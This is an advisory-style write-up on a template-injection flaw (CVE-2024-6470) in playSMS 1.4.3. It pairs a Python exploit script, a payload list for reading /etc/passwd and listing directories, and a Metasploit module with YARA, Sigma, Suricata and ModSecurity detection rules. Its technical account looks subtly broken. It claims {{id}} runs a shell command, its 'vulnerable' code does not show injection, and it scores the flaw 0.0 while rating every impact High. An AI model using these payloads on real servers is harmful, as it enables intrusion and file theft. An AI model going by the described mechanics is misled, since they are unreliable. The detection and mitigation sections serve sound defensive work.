CVE-2024-6470

Executive Summary

CVE-2024-6470 is a server-side template injection (SSTI) vulnerability in playSMS version 1.4.3. The flaw exists in the /index.php?app=main&inc=feature_inboxgroup&op=list endpoint, where the Receiver Number argument is improperly sanitized. An attacker can inject template expressions (e.g., {{id}}) that are executed by the server, leading to arbitrary code execution or information disclosure. The vendor was contacted but did not respond, leaving the software unpatched. The exploit has been publicly disclosed, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Threat Level: High (based on public exploit and lack of patch)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Template Injection (SSTI) in the playSMS application. The Receiver Number parameter is passed to a template engine (likely Twig or Smarty) without proper sanitization. When an attacker submits a payload like {{id}}, the template engine interprets it as a command to execute the id system command, returning the output to the attacker.

Root Cause: The application uses user input directly in template rendering without escaping or validation. The vulnerable code path is in the feature_inboxgroup component, specifically in the list operation.

Attack Flow:

1. Attacker sends a GET request to /index.php?app=main&inc=feature_inboxgroup&op=list with a malicious Receiver Number parameter.
2. The server processes the request and passes the parameter to the template engine.
3. The template engine executes the injected expression (e.g., {{id}}), returning system command output.
4. Attacker can escalate to full remote code execution by injecting more complex payloads.

Vulnerable vs. Patched Code

Vulnerable Code (playSMS 1.4.3):

// In the inboxgroup list handler
$receiver_number = $_GET['receiver_number'];
// Directly used in template rendering without sanitization
$template->assign('receiver_number', $receiver_number);
$template->render('inboxgroup_list.tpl');

Patched Code (Hypothetical):

// Properly sanitize input
$receiver_number = htmlspecialchars($_GET['receiver_number'], ENT_QUOTES, 'UTF-8');
// Or use a whitelist approach
if (!preg_match('/^[0-9+\- ]+$/', $receiver_number)) {
    die('Invalid receiver number');
}
$template->assign('receiver_number', $receiver_number);
$template->render('inboxgroup_list.tpl');

Exploitation & Lab Setup

Red Team

Prerequisites:

• playSMS 1.4.3 installed and accessible
• Python 3 with requests library

Exploit Script:

import requests

target = "http://target.com/index.php?app=main&inc=feature_inboxgroup&op=list"
payload = "{{`id`}}"

params = {
    "receiver_number": payload
}

response = requests.get(target, params=params)
print(response.text)

Advanced Payloads:

• {{cat /etc/passwd}} - Read system files
• {{ls -la /}} - List root directory
• {{phpinfo()}} - Execute PHP functions (if template engine allows)

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'playSMS 1.4.3 SSTI RCE',
      'Description' => 'Exploits SSTI in playSMS inboxgroup list',
      'Author' => ['Valters IT'],
      'References' => [['CVE', '2024-6470']],
      'DisclosureDate' => '2024-06-01',
      'Targets' => [['Automatic', {}]],
      'Payload' => {'BadChars' => "\x00\x0a\x0d"}
    ))
  end

  def exploit
    send_request_cgi({
      'uri' => normalize_uri('index.php'),
      'vars_get' => {
        'app' => 'main',
        'inc' => 'feature_inboxgroup',
        'op' => 'list',
        'receiver_number' => "{{`#{payload.encoded}`}}"
      }
    })
  end
end

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /index.php?app=main&inc=feature_inboxgroup&op=list with unusual receiver_number parameters.
2. Look for template syntax like {{, {%, ${ in GET parameters.
3. Check for unexpected system command execution from the web server process.
4. Use WAF rules to block template injection patterns.

Honeypot Configuration:

# ModSecurity rule to detect SSTI
SecRule ARGS "@rx \{\{.*\}\}" \
    "id:100001,\
    phase:2,\
    deny,\
    status:403,\
    msg:'SSTI attempt detected'"

Indicators of Compromise (IOCs)

Network IOCs:

• GET requests to /index.php?app=main&inc=feature_inboxgroup&op=list with receiver_number containing {{ or {%
• Outbound connections from the web server to attacker-controlled IPs (if RCE achieved)
• Unusual HTTP response bodies containing command output (e.g., uid=33(www-data))

File System IOCs:

• Unexpected files in /tmp/ or web root
• Modified template files (.tpl files)
• New cron jobs or systemd services

Log IOCs:

• Web server logs showing receiver_number={{id}}
• System logs showing execution of commands like id, cat, ls from the web server user

Detection Engineering

YARA Rule

rule playSMS_SSTI_Exploit {
    meta:
        description = "Detects playSMS SSTI exploit attempts in HTTP requests"
        author = "Valters IT"
        date = "2024-06-01"
        reference = "CVE-2024-6470"
    strings:
        $ssti_pattern1 = "{{`" ascii wide
        $ssti_pattern2 = "{%" ascii wide
        $ssti_pattern3 = "${" ascii wide
        $url_pattern = "/index.php?app=main&inc=feature_inboxgroup&op=list" ascii wide
    condition:
        any of ($ssti_pattern*) and $url_pattern
}

Sigma Rule

title: playSMS SSTI Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-6470 in playSMS
author: Valters IT
date: 2024-06-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "/index.php?app=main&inc=feature_inboxgroup&op=list"
        cs-uri-query|re: '.*\{\{.*\}.*'
    condition: selection
falsepositives:
    - Legitimate use of template syntax in other contexts (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"playSMS SSTI Exploit Attempt"; flow:to_server; content:"/index.php?app=main&inc=feature_inboxgroup&op=list"; http_uri; pcre:"/\{\{.*\}\}/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /index.php?app=main&inc=feature_inboxgroup&op=list via web server configuration.
2. Apply input validation using a web application firewall (WAF) to block template syntax in GET parameters.
3. Upgrade playSMS to a patched version if available (check vendor website periodically).

Long-term Fix:

• The vendor must implement proper input sanitization and use parameterized template rendering.
• Consider migrating to a different SMS gateway solution if the vendor remains unresponsive.

Workaround:

# Apache .htaccess to block the vulnerable endpoint
RewriteEngine On
RewriteCond %{QUERY_STRING} ^app=main&inc=feature_inboxgroup&op=list [NC]
RewriteRule ^ - [F,L]

Valters IT
DevSecOps & Cyber Threat Intelligence Expert